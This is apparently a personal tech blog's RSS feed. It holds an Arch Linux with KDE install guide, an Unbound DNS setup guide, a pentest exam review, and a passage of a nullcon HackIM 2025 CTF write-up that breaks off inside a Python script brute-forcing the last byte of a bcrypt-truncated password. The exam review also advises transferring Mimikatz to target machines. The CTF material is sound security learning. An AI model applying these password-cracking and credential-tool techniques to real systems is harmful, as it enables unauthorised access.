<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Aftab Sama</title>
    <link>https://aftabsama.com/</link>
    <description>Recent content on Aftab Sama</description>
    <generator>Hugo -- 0.147.0</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 09 Jan 2026 19:21:16 +0530</lastBuildDate>
    <atom:link href="https://aftabsama.com/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>How to Install Arch Linux with KDE</title>
      <link>https://aftabsama.com/blog/how-to-install-arch-linux-with-kde/</link>
      <pubDate>Thu, 08 Jan 2026 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/how-to-install-arch-linux-with-kde/</guid>
      <description>How to Install Arch Linux with KDE Plasma desktop environment.</description>
      <content:encoded><![CDATA[<h2 id="preparation-and-live-environment">Preparation and Live Environment</h2>
<h3 id="download">Download</h3>
<p>Download the ISO from <a href="https://archlinux.org/download/">archlinux.org</a> and verify the Checksums using <code>sha256sum</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sha256sum archlinux-2026.01.01-x86_64.iso <span class="p">|</span> grep 16502a7c18eed827ecead95c297d26f9f4bd57c4b3e4a8f4e2b88cf60e412d6f
</span></span></code></pre></div><h3 id="flash">Flash</h3>
<p>Flash it to a USB drive using a tool like <code>dd</code> or <a href="https://etcher.balena.io/#download-etcher">BalenaEtcher</a>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">dd <span class="nv">bs</span><span class="o">=</span>4M <span class="k">if</span><span class="o">=</span>archlinux-2026.01.01-x86_64.iso <span class="nv">of</span><span class="o">=</span>/dev/sda <span class="nv">conv</span><span class="o">=</span>fsync <span class="nv">oflag</span><span class="o">=</span>direct <span class="nv">status</span><span class="o">=</span>progress
</span></span></code></pre></div><p>Note: Replace <code>/dev/sda</code> with the correct device name for your USB drive.</p>
<h3 id="boot">Boot</h3>
<p>Plug the USB into your PC, enter your BIOS/Boot menu, and select the USB drive.</p>
<h3 id="connect-to-internet">Connect to Internet</h3>
<p>Ethernet should work automatically. For Wi-Fi, Run <code>iwctl</code>, then <code>device list</code>, scan networks using <code>station wlan0 scan</code>, then <code>station wlan0 get-networks</code>, connect to a network using <code>station wlan0 connect &quot;&lt;SSID&gt;&quot;</code>.</p>
<p>Update System Clock: <code>timedatectl set-ntp true</code></p>
<h2 id="partitioning-the-disk">Partitioning the Disk</h2>
<p>This is the most important step. We will create two partitions:</p>
<ul>
<li>EFI (1GB)</li>
<li>Root (the rest).</li>
</ul>
<p>You might be familiar with allocating a third partition for swap space (4GB-8GB), but that&rsquo;s not necessary. Using a swap file within an existing partition achieves the same performance and can be more flexible.</p>
<p>While a 512MB EFI partition is sufficient if disk space is limited, allocating 1GB is recommended to provide better long-term flexibility.</p>
<h3 id="identify-your-drive">Identify your drive</h3>
<p>Run <code>fdisk -l</code>. (Usually <code>/dev/sda</code> or <code>/dev/nvme0n1</code>)</p>
<h3 id="partitioning">Partitioning</h3>
<p>Use <code>fdisk</code> to partition the disk.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">fdisk /dev/nvme0n1
</span></span></code></pre></div><p>Note: Replace <code>/dev/nvme0n1</code> with the correct device name for your disk.</p>
<p>In <code>fdisk</code>:</p>
<ul>
<li>type <code>g</code> to create new GPT partition table.</li>
<li>type <code>n</code> to create a new partition.</li>
<li>type <code>1</code> to select the first partition.</li>
<li>press Enter to accept the default start sector.</li>
<li>type <code>+1G</code> to set the size of the partition to 1GB.</li>
<li>type <code>t</code> to change the partition type.</li>
<li>type <code>ef</code> to set the partition type to EFI System.</li>
<li>type <code>n</code> to create a new partition.</li>
<li>type <code>2</code> to select the second partition.</li>
<li>press Enter to accept the default start sector.</li>
<li>press Enter to accept the default end sector.</li>
<li>type <code>w</code> to write the changes to disk.</li>
</ul>
<h3 id="formatting">Formatting</h3>
<p>EFI partition:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">mkfs.fat -F32 /dev/nvme0n1p1
</span></span></code></pre></div><p>Root partition:</p>
<ul>
<li>Btrfs file system</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">mkfs.btrfs -L arch_root /dev/nvme0n1p2
</span></span></code></pre></div><ul>
<li>or, Ext4 file system</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">mkfs.ext4 /dev/nvme0n1p2
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<h3 id="setup-mirrors">Setup mirrors</h3>
<p>Sync the <code>pacman</code> repository and install <code>reflector</code> to update the mirror list based on download speed.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -Syy
</span></span><span class="line"><span class="cl">pacman -S reflector
</span></span><span class="line"><span class="cl">cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.bak
</span></span><span class="line"><span class="cl">reflector --latest <span class="m">100</span> --protocol https --sort rate --save /etc/pacman.d/mirrorlist --number <span class="m">20</span>
</span></span></code></pre></div><h3 id="base-installation">Base Installation</h3>
<p>Mount Root:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">mount /dev/nvme0n1p2 /mnt
</span></span></code></pre></div><p>Mount EFI:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">mount --mkdir /dev/nvme0n1p1 /mnt/boot
</span></span></code></pre></div><p>Install Base Packages:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacstrap /mnt base linux linux-firmware nano vim
</span></span></code></pre></div><p>Generate Fstab:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">genfstab -U /mnt &gt;&gt; /mnt/etc/fstab
</span></span></code></pre></div><h2 id="system-configuration">System Configuration</h2>
<h3 id="enter-your-new-system">Enter your new system:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">arch-chroot /mnt
</span></span></code></pre></div><h3 id="timezone">Timezone:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">ln -sf /usr/share/zoneinfo/Asia/Kolkata /etc/localtime
</span></span><span class="line"><span class="cl">hwclock --systohc
</span></span></code></pre></div><h3 id="localization">Localization:</h3>
<p>Uncomment the desired locale in <code>/etc/locale.gen</code></p>
<ul>
<li><code>en_US.UTF-8 UTF-8</code></li>
</ul>
<p>Generate the locale using <code>locale-gen</code>. Set the locale in <code>/etc/locale.conf</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">locale-gen
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;LANG=en_US.UTF-8&#34;</span> &gt; /etc/locale.conf
</span></span></code></pre></div><h3 id="network">Network:</h3>
<p>Set hostname:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;your-cool-hostname&#34;</span> &gt; /etc/hostname
</span></span></code></pre></div><p>Install and enable NetworkManager:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S networkmanager
</span></span><span class="line"><span class="cl">systemctl <span class="nb">enable</span> NetworkManager
</span></span></code></pre></div><h3 id="users">Users:</h3>
<p>Set root password:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">passwd
</span></span></code></pre></div><p>Create a user:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S sudo
</span></span><span class="line"><span class="cl">useradd -m username
</span></span><span class="line"><span class="cl">usermod -aG wheel,audio,video,storage username
</span></span><span class="line"><span class="cl">passwd username
</span></span></code></pre></div><p>Edit <code>/etc/sudoers</code> (uncomment the line <code>%wheel ALL=(ALL) ALL</code>):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="nv">EDITOR</span><span class="o">=</span>vim visudo
</span></span></code></pre></div><h2 id="bootloader-and-desktop-environment">Bootloader and Desktop Environment</h2>
<h3 id="bootloader-grub">Bootloader (GRUB):</h3>
<p>For UEFI systems:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S grub efibootmgr
</span></span><span class="line"><span class="cl">grub-install --target<span class="o">=</span>x86_64-efi --efi-directory<span class="o">=</span>/boot --bootloader-id<span class="o">=</span>GRUB
</span></span><span class="line"><span class="cl">grub-mkconfig -o /boot/grub/grub.cfg
</span></span></code></pre></div><p>For Non-UEFI systems:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S grub
</span></span><span class="line"><span class="cl">grub-install /dev/nvme0n1
</span></span><span class="line"><span class="cl">grub-mkconfig -o /boot/grub/grub.cfg
</span></span></code></pre></div><h3 id="drivers">Drivers:</h3>
<p>Intel:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S xf86-video-intel intel-ucode mesa vulkan-intel intel-media-driver libva-utils
</span></span></code></pre></div><p>AMD:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S xf86-video-amdgpu amd-ucode mesa vulkan-radeon libva-mesa-driver
</span></span></code></pre></div><h3 id="kde-plasma-installation">KDE Plasma Installation:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pacman -S xorg plasma-meta plasma-wayland-session sddm konsole dolphin
</span></span><span class="line"><span class="cl">systemctl <span class="nb">enable</span> sddm
</span></span></code></pre></div><h2 id="finishing-up">Finishing Up</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">exit
</span></span><span class="line"><span class="cl">umount -R /mnt
</span></span><span class="line"><span class="cl">reboot
</span></span></code></pre></div><h2 id="optional-packages">Optional Packages</h2>
<p>Install additional packages - some apps and tools that i use:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo pacman -S --needed 7zip a52dec ark base base-devel bash-completion bluez-utils btrfs-progs chromium dolphin dosfstools exfatprogs faac faad2 firefox fwupd git go gst-libav gst-plugin-pipewire gst-plugins-bad gst-plugins-good gst-plugins-ugly guvcview hashcat hashcat-utils iw jdk-openjdk john konsole less libdca libdv libmad libmpeg2 libreoffice-fresh libva-utils linux linux-firmware mesa mpv nano neochat networkmanager ntfs-3g obs-studio obsidian okular openssh partitionmanager pipewire-alsa plasma-meta python-pip qbittorrent qemu-full reflector sddm sof-firmware speech-dispatcher sudo symlinks thunderbird torbrowser-launcher unbound usbutils vim virt-manager virt-viewer wavpack weechat xfsprogs yt-dlp zed
</span></span></code></pre></div><br>
<p>Happy Hacking</p>
<br>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Install and Set Up Unbound DNS Server in Arch Linux</title>
      <link>https://aftabsama.com/blog/install-and-setup-unbound-dns-server-in-arch-linux/</link>
      <pubDate>Wed, 07 Jan 2026 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/install-and-setup-unbound-dns-server-in-arch-linux/</guid>
      <description>How to Install and Set Up Unbound DNS Server in Arch Linux.</description>
      <content:encoded><![CDATA[<h2 id="install-unbound">Install Unbound</h2>
<p>You can use any package manager of your choice. For me it&rsquo;s <code>pacman</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo pacman -Syu unbound
</span></span></code></pre></div><p>Backup the default configuration file, which is located at <code>/etc/unbound/unbound.conf</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo cp /etc/unbound/unbound.conf /etc/unbound/unbound.conf.bak
</span></span></code></pre></div><p>Edit <code>/etc/unbound/unbound.conf</code> file.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">include: &#34;/etc/unbound/conf.d/*.conf&#34;
</span></span><span class="line"><span class="cl">server:
</span></span><span class="line"><span class="cl">        num-threads: 4
</span></span><span class="line"><span class="cl">        interface: ::1
</span></span><span class="line"><span class="cl">        interface: 127.0.0.1
</span></span><span class="line"><span class="cl">        port: 53
</span></span><span class="line"><span class="cl">        so-rcvbuf: 4m
</span></span><span class="line"><span class="cl">        msg-cache-size: 50m
</span></span><span class="line"><span class="cl">        msg-cache-slabs: 4
</span></span><span class="line"><span class="cl">        rrset-cache-size: 100m
</span></span><span class="line"><span class="cl">        rrset-cache-slabs: 4
</span></span><span class="line"><span class="cl">        infra-cache-slabs: 4
</span></span><span class="line"><span class="cl">        do-ip4: yes
</span></span><span class="line"><span class="cl">        do-udp: yes
</span></span><span class="line"><span class="cl">        do-tcp: yes
</span></span><span class="line"><span class="cl">        access-control: 127.0.0.0/8 allow
</span></span><span class="line"><span class="cl">        access-control: ::1 allow
</span></span><span class="line"><span class="cl">        access-control: ::ffff:127.0.0.1 allow
</span></span><span class="line"><span class="cl">        chroot: &#34;/etc/unbound&#34;
</span></span><span class="line"><span class="cl">        username: &#34;unbound&#34;
</span></span><span class="line"><span class="cl">        directory: &#34;/etc/unbound&#34;
</span></span><span class="line"><span class="cl">        use-syslog: yes
</span></span><span class="line"><span class="cl">        log-time-ascii: yes
</span></span><span class="line"><span class="cl">        log-queries: yes
</span></span><span class="line"><span class="cl">        log-servfail: yes
</span></span><span class="line"><span class="cl">        root-hints: &#34;root.hints&#34;
</span></span><span class="line"><span class="cl">        hide-identity: yes
</span></span><span class="line"><span class="cl">        hide-version: yes
</span></span><span class="line"><span class="cl">        hide-http-user-agent: yes
</span></span><span class="line"><span class="cl">        harden-glue: yes
</span></span><span class="line"><span class="cl">        qname-minimisation: yes
</span></span><span class="line"><span class="cl">        prefetch: yes
</span></span><span class="line"><span class="cl">        prefetch-key: yes
</span></span><span class="line"><span class="cl">        minimal-responses: yes
</span></span><span class="line"><span class="cl">        auto-trust-anchor-file: &#34;root.key&#34;
</span></span><span class="line"><span class="cl">        key-cache-slabs: 4
</span></span><span class="line"><span class="cl">        tls-cert-bundle: &#34;/etc/ssl/certs/ca-certificates.crt&#34;
</span></span></code></pre></div><h2 id="fetch-root-hints-and-dnssec-key">Fetch Root Hints and DNSSEC Key</h2>
<p>Unbound needs to know where the &ldquo;root&rdquo; servers of the internet are.</p>
<p>Download Root Hints:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo curl -o /etc/unbound/root.hints https://www.internic.net/domain/named.cache
</span></span></code></pre></div><p>Initialize DNSSEC:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo unbound-anchor -a /etc/unbound/root.key
</span></span></code></pre></div><p>Fix permissions:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo chown unbound:unbound /etc/unbound/root.key
</span></span><span class="line"><span class="cl">sudo chown unbound:unbound /etc/unbound/
</span></span><span class="line"><span class="cl">sudo mkdir -p /etc/unbound/conf.d/
</span></span></code></pre></div><h2 id="directing-system-traffic-to-unbound">Directing System Traffic to Unbound</h2>
<p>We need to tell our network configuration tool to use <code>127.0.0.1</code> (local Unbound server) for DNS lookups. NetworkManager is the standard and most used in Linux.</p>
<p>Edit <code>/etc/NetworkManager/NetworkManager.conf</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[main]
</span></span><span class="line"><span class="cl">dns=none
</span></span></code></pre></div><p>Edit <code>/etc/resolv.conf</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">nameserver 127.0.0.1
</span></span><span class="line"><span class="cl">nameserver ::1
</span></span><span class="line"><span class="cl">options edns0 trust-ad
</span></span></code></pre></div><h3 id="optional">Optional:</h3>
<p>To prevent overwriting this file, run:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo chattr +i /etc/resolv.conf 
</span></span></code></pre></div><h2 id="start-and-enable-the-unbound-service">Start and Enable the Unbound Service</h2>
<p>Now, fire up the Unbound engine:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now unbound
</span></span></code></pre></div><p>Verify the status of the Unbound service:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">systemctl status unbound
</span></span></code></pre></div><p>If it says active (running), you are good to go!</p>
<h2 id="verify-the-setup">Verify the Setup</h2>
<p>Run a DNS lookup and check the &ldquo;SERVER&rdquo; field in the output. It should point to <code>127.0.0.1</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">drill google.com
</span></span></code></pre></div><p>Expected output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="p">;;</span> -&gt;&gt;HEADER<span class="s">&lt;&lt;- opco</span>de: QUERY, rcode: NOERROR, id: <span class="m">29355</span>
</span></span><span class="line"><span class="cl"><span class="p">;;</span> flags: qr rd ra <span class="p">;</span> QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: <span class="m">0</span> 
</span></span><span class="line"><span class="cl"><span class="p">;;</span> QUESTION SECTION:
</span></span><span class="line"><span class="cl"><span class="p">;;</span> google.com.  IN      A
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">;;</span> ANSWER SECTION:
</span></span><span class="line"><span class="cl">google.com.     <span class="m">300</span>     IN      A       142.250.70.78
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">;;</span> AUTHORITY SECTION:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">;;</span> ADDITIONAL SECTION:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">;;</span> Query time: <span class="m">102</span> msec
</span></span><span class="line"><span class="cl"><span class="p">;;</span> SERVER: 127.0.0.1
</span></span><span class="line"><span class="cl"><span class="p">;;</span> WHEN: Wed Jan  <span class="m">7</span> 17:26:01 <span class="m">2026</span>
</span></span><span class="line"><span class="cl"><span class="p">;;</span> MSG SIZE  rcvd: <span class="m">44</span>
</span></span></code></pre></div><h2 id="using-forward-zones">Using &ldquo;Forward Zones&rdquo;</h2>
<p>You can use forwarding if you prefer to let a faster provider handle the recursion while you still enjoy Unbound&rsquo;s local caching and DNSSEC validation.</p>
<p>For me i need to use forwarder for some wifi AP because the ISP keeps hijacking DNS requests, so the DNSSEC would fail. To solve this i use DNS forwarding over tls so ISP can&rsquo;t hijack the DNS requests.</p>
<p>To do this just add new <code>.conf</code> file in <code>/etc/unbound/conf.d/</code> directory. I&rsquo;m using cloudflare dns over tls, so the setup would look like this:</p>
<p>File: <code>/etc/unbound/conf.d/cloudflare.conf</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"># Forward all DNS queries to Cloudflare over TLS
</span></span><span class="line"><span class="cl">forward-zone:
</span></span><span class="line"><span class="cl">    name: &#34;.&#34;
</span></span><span class="line"><span class="cl">    forward-tls-upstream: yes
</span></span><span class="line"><span class="cl">    forward-addr: 1.1.1.1@853#cloudflare-dns.com
</span></span><span class="line"><span class="cl">    forward-addr: 1.0.0.1@853#cloudflare-dns.com
</span></span><span class="line"><span class="cl">    forward-addr: 2606:4700:4700::1111@853#cloudflare-dns.com
</span></span><span class="line"><span class="cl">    forward-addr: 2606:4700:4700::1001@853#cloudflare-dns.com
</span></span></code></pre></div><p>And, restart the Unbound service:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo systemctl restart unbound
</span></span></code></pre></div><p>To stop the forwarding, simply rename the extension of the file to something else:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo mv /etc/unbound/conf.d/cloudflare.conf /etc/unbound/conf.d/cloudflare.conf.bak
</span></span></code></pre></div><h2 id="dns-blocklist">DNS blocklist</h2>
<p>If you want to use dns blocklist like <a href="https://oisd.nl/setup/unbound">oisd</a>, download the unbound conf file for that and place it in <code>/etc/unbound/conf.d/</code> directory.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo curl -o /etc/unbound/conf.d/block-oisd_big.conf https://big.oisd.nl/unbound
</span></span></code></pre></div><h2 id="troubleshooting">Troubleshooting</h2>
<h3 id="check-unbound-logs">Check Unbound Logs</h3>
<p>If you encounter any issues, check the logs:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">journalctl -u unbound
</span></span></code></pre></div><br>
<p>Happy Hacking</p>
<br>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Certified Network Pentester (CNPen) exam Review</title>
      <link>https://aftabsama.com/blog/certified-network-pentester-cnpen-exam-review/</link>
      <pubDate>Tue, 25 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/certified-network-pentester-cnpen-exam-review/</guid>
      <description>Certified Network Pentester (CNPen) review, tips/tricks etc.</description>
      <content:encoded><![CDATA[<h2 id="about-exam">About Exam</h2>
<p>The exam formate is pretty much same as of Certified AppSec Pentester (CAPen) exam. you can read about that <a href="https://aftabsama.com/blog/certified-appsec-pentester-capen-review/">here</a>.</p>
<h2 id="my-thoughts-on-the-exam-and-some-tips">My Thoughts on the Exam and Some Tips</h2>
<p>The exam consists of 15 multiple-choice, and CTF-type questions. Each question is allocated an appropriate score based on its level of difficulty.</p>
<p>I think the exam difficulty was like an easy-rated HTB machine.
The following HTB machines are very close to the exam lab environment that I could find.</p>
<ul>
<li><a href="https://0xdf.gitlab.io/2025/02/15/htb-cicada.html">Cicada</a></li>
<li><a href="https://0xdf.gitlab.io/2018/11/17/htb-jerry.html">Jerry</a></li>
<li><a href="https://0xdf.gitlab.io/2020/07/18/htb-sauna.html">Sauna</a></li>
<li><a href="https://0xdf.gitlab.io/2024/04/13/htb-hospital.html">Hospital</a></li>
</ul>
<p>Make sure to read the above HTB write-ups. You will be using very similar techniques.</p>
<p>The <a href="https://www.netexec.wiki/">NetExec</a> tool was very useful; make sure to get comfortable using it. During the exam, to use tools like <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, you will need to transfer them to target machine. Learn some techniques on how to transfer files/tools between your machine and the target machine.</p>
<p>I have observed that the exam lacks dynamic questions. The questions and flags remain the same in every attempt. In my opinion, this is a significant drawback. If the exam questions are leaked, it would undermine the exam&rsquo;s credibility and reduce its value.</p>
<br>
<p>Happy Hacking</p>
<br>
<img src="images/certified-network-pentester-cnpen-aftab-sama.webp">
<br>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>nullcon HackIM CTF Goa 2025</title>
      <link>https://aftabsama.com/writeups/ctf/nullcon-hackim-ctf-goa-2025/</link>
      <pubDate>Sun, 02 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/nullcon-hackim-ctf-goa-2025/</guid>
      <description>Writeups for the nullcon HackIM CTF Goa 2025 Capture The Flag (CTF) event.</description>
      <content:encoded><![CDATA[<p><strong>CTF Event URL</strong>: <a href="https://ctf.nullcon.net/challenges">https://ctf.nullcon.net/challenges</a> <br>
<strong>Event Start Time</strong>: February 1st, 2025, at 08:30 UTC <br>
<strong>Event End Time</strong>: February 2nd, 2025, at 08:30 UTC</p>
<hr>
<h2 id="challenges">Challenges</h2>
<h3 id="bfail">Bfail</h3>
<p><strong>Description:</strong> <em>To &lsquo;B&rsquo; secure or to &lsquo;b&rsquo; fail? Strong passwords for admins are always great, right?</em> <br>
<strong>URL:</strong> <code>http://52.59.124.14:5013/</code></p>
<p><img alt="bfail-1.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/bfail-1.png"></p>
<p>Here we have a simple login page which gives the <code>Method Not Allowed</code> error when trying to login. <br>
In the HTML page source code we have one interesting comment.</p>
<p><img alt="bfail-2.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/bfail-2.png"></p>
<p>Visiting this path gives us the python source code of the challenge.</p>
<p><img alt="bfail-3.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/bfail-3.png"></p>
<p>the password is generated using <code>os.urandom(128)</code>. It will generate 128 random bytes. impossible to brute force.
and we are also given first 71 bytes of password and password&rsquo;s <code>bcrypt</code> hash.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\xec\x9f\xe0</span><span class="s1">a</span><span class="se">\x97</span><span class="s1">8</span><span class="se">\xfc\xb6</span><span class="s1">:T</span><span class="se">\xe2\xa0\xc9</span><span class="s1">&lt;</span><span class="se">\x9e\x1a\xa5\xfa</span><span class="s1">o</span><span class="se">\xb2\x15\x86\xe5</span><span class="s1">$</span><span class="se">\x86</span><span class="s1">Z</span><span class="se">\x1a\xd4\xca</span><span class="s1">#</span><span class="se">\x15\xd2</span><span class="s1">x</span><span class="se">\xa0\x0e</span><span class="s1">0</span><span class="se">\xca\xbc\x89</span><span class="s1">T</span><span class="se">\xc5</span><span class="s1">V6</span><span class="se">\xf1\xa4\xa8</span><span class="s1">S</span><span class="se">\x8a</span><span class="s1">%I</span><span class="se">\xd8</span><span class="s1">gI</span><span class="se">\x15\xe9\xe7</span><span class="s1">$M</span><span class="se">\x15\xdc</span><span class="s1">@</span><span class="se">\xa9\xa1</span><span class="s1">@</span><span class="se">\x9c\xee</span><span class="s1">e</span><span class="se">\xe0\xe0\xf7</span><span class="s1">6&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">app</span><span class="o">.</span><span class="n">ADMIN_PW_HASH</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK&#39;</span>
</span></span></code></pre></div><p>To successfully login our password&rsquo;s <code>bcrypt</code> hash needs to match above <code>bcrypt</code> hash.</p>
<p><img alt="bfail-4.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/bfail-4.png"></p>
<p>What is <code>bcrypt</code> algorithm anyways!</p>
<p>with little bit of research we came to know that <code>bcrypt</code> will only take the maximum of first 72 bytes from password when generating the hash.</p>
<p>Refence: <a href="https://nordvpn.com/blog/what-is-bcrypt/#:~:text=Bcrypt%20allows%20up%20to%2072%20bytes%20for%20a%20password%2C">What is Bcrypt and how it works? | NordVPN</a></p>
<p>since we are already given the first 71 bytes of password, we only need to brute force one byte (256 total values).</p>
<p>Python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">bcrypt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">admin_password</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xec\x9f\xe0</span><span class="s2">a</span><span class="se">\x97</span><span class="s2">8</span><span class="se">\xfc\xb6</span><span class="s2">:T</span><span class="se">\xe2\xa0\xc9</span><span class="s2">&lt;</span><span class="se">\x9e\x1a\xa5\xfa</span><span class="s2">o</span><span class="se">\xb2\x15\x86\xe5</span><span class="s2">$</span><span class="se">\x86</span><span class="s2">Z</span><span class="se">\x1a\xd4\xca</span><span class="s2">#</span><span class="se">\x15\xd2</span><span class="s2">x</span><span class="se">\xa0\x0e</span><span class="s2">0</span><span class="se">\xca\xbc\x89</span><span class="s2">T</span><span class="se">\xc5</span><span class="s2">V6</span><span class="se">\xf1\xa4\xa8</span><span class="s2">S</span><span class="se">\x8a</span><span class="s2">%I</span><span class="se">\xd8</span><span class="s2">gI</span><span class="se">\x15\xe9\xe7</span><span class="s2">$M</span><span class="se">\x15\xdc</span><span class="s2">@</span><span class="se">\xa9\xa1</span><span class="s2">@</span><span class="se">\x9c\xee</span><span class="s2">e</span><span class="se">\xe0\xe0\xf7</span><span class="s2">6&#34;</span>
